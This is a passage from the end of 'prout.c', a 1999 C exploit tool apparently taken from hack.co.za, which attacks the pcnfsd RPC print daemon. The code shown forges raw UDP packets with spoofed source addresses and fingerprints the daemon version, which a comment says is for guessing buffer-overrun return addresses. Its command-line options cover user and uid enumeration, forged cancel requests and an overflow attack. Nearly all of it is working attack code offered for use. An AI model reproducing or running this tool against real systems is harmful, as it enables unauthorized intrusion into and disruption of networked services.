  897.   s_in.sin_port=htons(dport);
  898.   bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
  899.  
  900.   if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
  901.               sizeof(struct sockaddr)))==-1)
  902.     {
  903.       perror("send");
  904.       close(sock);
  905.       return -1;
  906.     }
  907.  
  908.   if (verbose) dump_packet(pkt, lenpkt);
  909.  
  910.   close(sock);
  911.   return 0;
  912. }
  913.  
  914. /*
  915.  
  916.  Same as make_pcnfsd_local_PRINIT() but with a spoofed ip/port.
  917.  
  918. */
  919.  
  920. int make_pcnfsd_spoof_PRINIT(pkt,lenpkt, sip, sport, dip, dport, filename)
  921. unsigned char *pkt;
  922. int lenpkt;
  923. unsigned long  sip;
  924. unsigned short int sport;
  925. unsigned long  dip;
  926. unsigned short int dport;
  927. char *filename;
  928. {
  929.   int raws;
  930.   unsigned long *authp;
  931.  
  932.   struct ip_hdr           *iph;
  933.   struct udp_hdr          *udph;
  934.   struct rpc_hdr          *rpch;
  935.   struct pr_init_args     *prh;
  936.  
  937.   struct sockaddr_in s_in;
  938.   struct sockaddr    *sa=(struct sockaddr*)&s_in;
  939.  
  940.   iph=      (struct ip_hdr*)         (pkt);
  941.   udph=     (struct udp_hdr*)        (pkt+LEN_HDR_IP);
  942.   rpch=     (struct rpc_hdr*)        (pkt+LEN_HDR_IP+LEN_HDR_UDP);
  943.   authp=    (unsigned long *)        (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
  944.   prh=      (struct pr_init_args *)  (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC
  945.                                       +LEN_AUTH_UNIX);
  946.  
  947.   iph->ver=0x45;
  948.   iph->length=htons(lenpkt);
  949.   iph->identification=htons(0x6761);
  950.   iph->ttl=0xff;
  951.   iph->protocol=IPPROTO_UDP;
  952.   iph->checksum=htons(0);               // OS will do it for us
  953.   iph->sip=sip;
  954.   iph->dip=dip;
  955.   udph->sport=htons(sport);
  956.   udph->dport=htons(dport);
  957.   udph->length=htons(lenpkt-LEN_HDR_IP);
  958.   udph->checksum=htons(0);               // XXX no udp checksum, not
  959.   rpch->xid=htonl(0x67616761);               //     reliable over inet.
  960.   rpch->type_msg=htonl(0);
  961.   rpch->version_rpc=htonl(2);
  962.   rpch->prog_id=htonl(150001);
  963.   rpch->prog_ver=htonl(2);
  964.   rpch->prog_proc=htonl(2);               // PCNFSD_PROC_PRINIT
  965.   prh->len_clnt         =htonl(63);
  966.   prh->len_pn           =htonl(63);
  967.   prh->len_comments     =htonl(254);
  968.   strcpy(prh->printername,  "lp");                // whatever
  969.   strcpy(prh->name,         filename);
  970.   strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice.");
  971.  
  972.   make_auth_unix(authp);
  973.  
  974.   if ((raws=make_raw_socket())==-1)
  975.     {
  976.       return -1;
  977.     }
  978.  
  979.   bzero((char *)&s_in, sizeof(s_in));
  980.   s_in.sin_family=AF_INET;
  981.   s_in.sin_port=htons(911);            // whatever
  982.   bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
  983.  
  984.   if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
  985.               sizeof(struct sockaddr)))==-1)
  986.     {
  987.       perror("send");
  988.       close(raws);
  989.       return -1;
  990.     }
  991.  
  992.   if (verbose) dump_packet(pkt, lenpkt);
  993.  
  994.   close(raws);
  995.   return 0;
  996. }
  997.  
  998. /*
  999.  
  1000.  A (remote) user can retrieve the version of the running pcnfs daemon.
  1001.  
  1002.  If a buffer overrun exists in the pcnfs daemon then, using the version info, 
  1003.  an evil user can guess the good return address to put on the stack (this value
  1004.  directly depends on the version of pcnfs).
  1005.  
  1006. */
  1007.  
  1008. int make_pcnfsd_PRINFO(pkt,lenpkt, dip, dport)
  1009. unsigned char *pkt;
  1010. int lenpkt;
  1011. unsigned long  dip;
  1012. unsigned short int dport;
  1013. {
  1014.   int nbytes, sock;
  1015.   unsigned long *authp;
  1016.   unsigned long ansrpc[256];
  1017.  
  1018.   struct rpc_hdr          *rpch;
  1019.   struct pr_info_args     *prh;
  1020.  
  1021.   struct sockaddr_in s_in;
  1022.   struct sockaddr    *sa=(struct sockaddr*)&s_in;
  1023.  
  1024.   rpch=     (struct rpc_hdr*)        (pkt);
  1025.   authp=    (unsigned long *)        (pkt+LEN_HDR_RPC);
  1026.   prh=      (struct pr_info_args *)  (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);
  1027.  
  1028.   rpch->xid=htonl(0x67616761);
  1029.   rpch->type_msg=htonl(0);
  1030.   rpch->version_rpc=htonl(2);
  1031.   rpch->prog_id=htonl(150001);
  1032.   rpch->prog_ver=htonl(2);
  1033.   rpch->prog_proc=htonl(1);               // PCNFSD_PROC_PRINFO
  1034.   prh->len_version      =htonl(254);
  1035.   prh->len_comments     =htonl(254);
  1036.   strcpy(prh->comments,"Become safe with this command : echo BAD>rpc.pcnfsd");
  1037.  
  1038.   make_auth_unix(authp);
  1039.  
  1040.   if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0)
  1041.     {
  1042.       perror("socket");
  1043.       return -1;
  1044.     };
  1045.  
  1046.   bzero((char *)&s_in, sizeof(s_in));
  1047.   s_in.sin_family=AF_INET;
  1048.   s_in.sin_port=htons(dport);
  1049.   bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
  1050.  
  1051.   if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
  1052.               sizeof(struct sockaddr)))==-1)
  1053.     {
  1054.       perror("send");
  1055.       close(sock);
  1056.       return -1;
  1057.     }
  1058.  
  1059.   if (verbose) dump_packet(pkt, lenpkt);
  1060.  
  1061.   if ((nbytes=readfd(sock, (char *)ansrpc, 1024))<0)
  1062.     return -1;
  1063.  
  1064.   if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) )
  1065.     {
  1066.       fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
  1067.       close(sock);
  1068.       return -1;
  1069.     }
  1070.  
  1071.   if (verbose) dump_packet((unsigned char*)ansrpc, nbytes);
  1072.  
  1073.   if (ntohl(ansrpc[6])!=0)
  1074.     printf("pcnfsd version :\n%s\n", (char*)&ansrpc[7]);
  1075.  
  1076.   close(sock);
  1077.   return 0;
  1078. }
  1079.  
  1080.  
  1081. void usage(char *progname)
  1082. {
  1083.   fprintf(stderr, "help : %s -h\n", progname);
  1084.   exit(0);
  1085. }
  1086.  
  1087. void option(char *progname)
  1088. {
  1089.   fprintf(stderr, "%s :\n", progname);
  1090.   fprintf(stderr, "      -i   (infos about %s)\n", progname);
  1091.   fprintf(stderr, "      -s   (infos about system on which %s was tested)\n"
  1092.           ,progname);
  1093.   fprintf(stderr, "      -v   verbose mode (dumps sent/received packets)\n");
  1094.   fprintf(stderr, "      -p   destip destport (retrieve printer list)\n");
  1095.   fprintf(stderr, "      -w   destip destport (retrieve pcnfs version)\n");
  1096.   fprintf(stderr, "      -a   destip destport user passwd\n");
  1097.   fprintf(stderr, "      -u   destip destport lower_uid upper_uid\n");
  1098.   fprintf(stderr, "      -fl  destip destport filename\n");
  1099.   fprintf(stderr, "      -fs  sourceip sourceport destip destport filename"
  1100.           "           \n");
  1101.   fprintf(stderr, "      -c   sourceip sourceport destip destport username"
  1102.           " printername command\n");
  1103.   fprintf(stderr, "      -o   sourceip sourceport destip destport\n");
  1104.   fprintf(stderr, "      -h   scroll up your term about 10 lines\n");
  1105.   exit(0);
  1106. }
  1107.  
  1108. main(int argc,char **argv)
  1109. {
  1110.   int lenpacket, arg;
  1111.   int flag=0;
  1112.   unsigned char *packet;
  1113.  
  1114.   while ((arg=getopt(argc, argv, "pwauf:coishv")) !=EOF)
  1115.     {
  1116.  
  1117.       switch(arg)
  1118.         {
  1119.         case 'p':
  1120.           if ((argc-optind)!=2) option(argv[0]);
  1121.           lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX;
  1122.           flag=1;
  1123.           break;
  1124.         case 'w':
  1125.           if ((argc-optind)!=2) option(argv[0]);
  1126.           lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_INFO;
  1127.           flag=2;
  1128.           break;
  1129.         case 'a':
  1130.           if ((argc-optind)!=4) option(argv[0]);
  1131.           lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_AUTH;
  1132.           flag=3;
  1133.           break;
  1134.         case 'u':
  1135.           if ((argc-optind)!=4) option(argv[0]);
  1136.           lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_MAPID;
  1137.           flag=4;
  1138.           break;
  1139.         case 'f':
  1140.           switch((char)*(optarg))
  1141.             {
  1142.             case 'l':
  1143.               if ((argc-optind)!=3) option(argv[0]);
  1144.               lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_INIT;
  1145.               flag=5;
  1146.               break;
  1147.  
  1148.             case 's':
  1149.               if ((argc-optind)!=5) option(argv[0]);
  1150.               lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+
  1151.                         LEN_HDR_PCN_INIT;
  1152.               flag=6;
  1153.               break;
  1154.  
  1155.             default:
  1156.               option(argv[0]);
  1157.               break;                // NOTREACHED
  1158.             }
  1159.  
  1160.           break;
  1161.         case 'c':
  1162.           if ((argc-optind)!=7) option(argv[0]);
  1163.           lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+
  1164.                     LEN_HDR_PCN_CANCEL;
  1165.           flag=7;
  1166.           break;
  1167.         case 'o':
  1168.           if ((argc-optind)!=4) option(argv[0]);
  1169.           lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+
  1170.                     LEN_HDR_PCN_CANCEL;
  1171.           flag=8;
  1172.           break;
  1173.         case 'i':
  1174.           fprintf(stderr, "prout.c : exploits pcnfsd hole(s) - ");
  1175.           fprintf(stderr, "coded by 'ga' <duncan@mygale.org>\n");
  1176.           exit(0);
  1177.         case 's':
  1178.           fprintf(stderr, "Linux Mithrandir 2.0.0 i486 (dx2-66 8mb) - ");
  1179.           fprintf(stderr, "gcc version 2.7.2\n");
  1180.           exit(0);
  1181.         case 'v':
  1182.           verbose++;
  1183.           break;
  1184.         case 'h':
  1185.           option(argv[0]);
  1186.         default:
  1187.           usage(argv[0]);
  1188.           break;                // NOTREACHED
  1189.         }
  1190.  
  1191.     }
  1192.  
  1193.   if (!flag) usage(argv[0]);
  1194.  
  1195.   if ( (flag>5) && (getuid()!=0) && (geteuid()!=0) )
  1196.     {
  1197.       fprintf(stderr, "I am not god.. I cannot create a raw packet without "
  1198.               "(e)uid 0\n");
  1199.       exit(1);
  1200.     }
  1201.  
  1202.   if (!(packet=malloc(lenpacket)))
  1203.     {
  1204.       fprintf(stderr, "malloc() failed\n");
  1205.       exit(1);
  1206.     }
  1207.   memset(packet, 0, lenpacket);
  1208.  
  1209.   switch(flag)
  1210.     {
  1211.     case 1:
  1212.       if (make_pcnfsd_PRLIST(packet, lenpacket,
  1213.                              resolve_host_name(argv[optind]),
  1214.                              strtol(argv[optind+1], (char **)NULL, 0))<0)
  1215.         fprintf(stderr, "error (PRLIST packet)\n");
  1216.       break;
  1217.  
  1218.     case 2:
  1219.       if (make_pcnfsd_PRINFO(packet, lenpacket,
  1220.                              resolve_host_name(argv[optind]),
  1221.                              strtol(argv[optind+1], (char **)NULL, 0))<0)
  1222.         fprintf(stderr, "error (PRINFO packet)\n");
  1223.       break;
  1224.  
  1225.     case 3:
  1226.       if (make_pcnfsd_PRAUTH(packet, lenpacket,
  1227.                              resolve_host_name(argv[optind]),
  1228.                              strtol(argv[optind+1], (char **)NULL, 0),
  1229.                              argv[optind+2], argv[optind+3])<0)
  1230.         fprintf(stderr, "error (PRAUTH packet)\n");
  1231.       break;
  1232.  
  1233.     case 4:
  1234.       if (strtol(argv[optind+2], (char **)NULL, 0) >
  1235.           strtol(argv[optind+3], (char **)NULL, 0))
  1236.         {
  1237.           fprintf(stderr, "lo_uid MUST be inferior to up_uid...\n");
  1238.           free(packet);
  1239.           exit(0);
  1240.         }
  1241.  
  1242.       if (make_pcnfsd_PRMAPID(packet, lenpacket,
  1243.                               resolve_host_name(argv[optind]),
  1244.                               strtol(argv[optind+1], (char **)NULL, 0),
  1245.                               strtol(argv[optind+2], (char **)NULL, 0),
  1246.                               strtol(argv[optind+3], (char **)NULL, 0))<0)
  1247.         fprintf(stderr, "error (PRMAPID packet)\n");
  1248.       break;
  1249.  
  1250.     case 5:
  1251.       if (make_pcnfsd_local_PRINIT(packet, lenpacket,
  1252.                                    resolve_host_name(argv[optind]),
  1253.                                    strtol(argv[optind+1], (char **)NULL, 0),
  1254.                                    argv[optind+2])<0)
  1255.         fprintf(stderr,"error (local PRINIT packet)\n");
  1256.       break;
  1257.  
  1258.     case 6:
  1259.       if (make_pcnfsd_spoof_PRINIT(packet, lenpacket,
  1260.                                    resolve_host_name(argv[optind]),
  1261.                                    strtol(argv[optind+1], (char **)NULL, 0),
  1262.                                    resolve_host_name(argv[optind+2]),
  1263.                                    strtol(argv[optind+3], (char **)NULL, 0),
  1264.                                    argv[optind+4])<0)
  1265.         fprintf(stderr,"error (forged PRINIT packet)\n");
  1266.       break;
  1267.  
  1268.     case 7:
  1269.       if (make_pcnfsd_PRCANCEL(packet, lenpacket,
  1270.                                resolve_host_name(argv[optind]),
  1271.                                strtol(argv[optind+1], (char **)NULL, 0),
  1272.                                resolve_host_name(argv[optind+2]),
  1273.                                strtol(argv[optind+3], (char **)NULL, 0),
  1274.                                argv[optind+4],
  1275.                                argv[optind+5],
  1276.                                argv[optind+6])<0)
  1277.         fprintf(stderr,"error (forged PRCANCEL packet)\n");
  1278.       break;
  1279.  
  1280.  
  1281.     case 8:
  1282.       if (make_pcnfsd_PROVERFLOW(packet, lenpacket,
  1283.                                  resolve_host_name(argv[optind]),
  1284.                                  strtol(argv[optind+1], (char **)NULL,0),
  1285.                                  resolve_host_name(argv[optind+2]),
  1286.                                  strtol(argv[optind+3], (char **)NULL,0))<0)
  1287.         fprintf(stderr,"error (forged PRCANCEL buffer overrun packet)\n");
  1288.       break;
  1289.  
  1290.     }
  1291.   free(packet);
  1292. }
  1293. /*                   www.hack.co.za              [1999]*/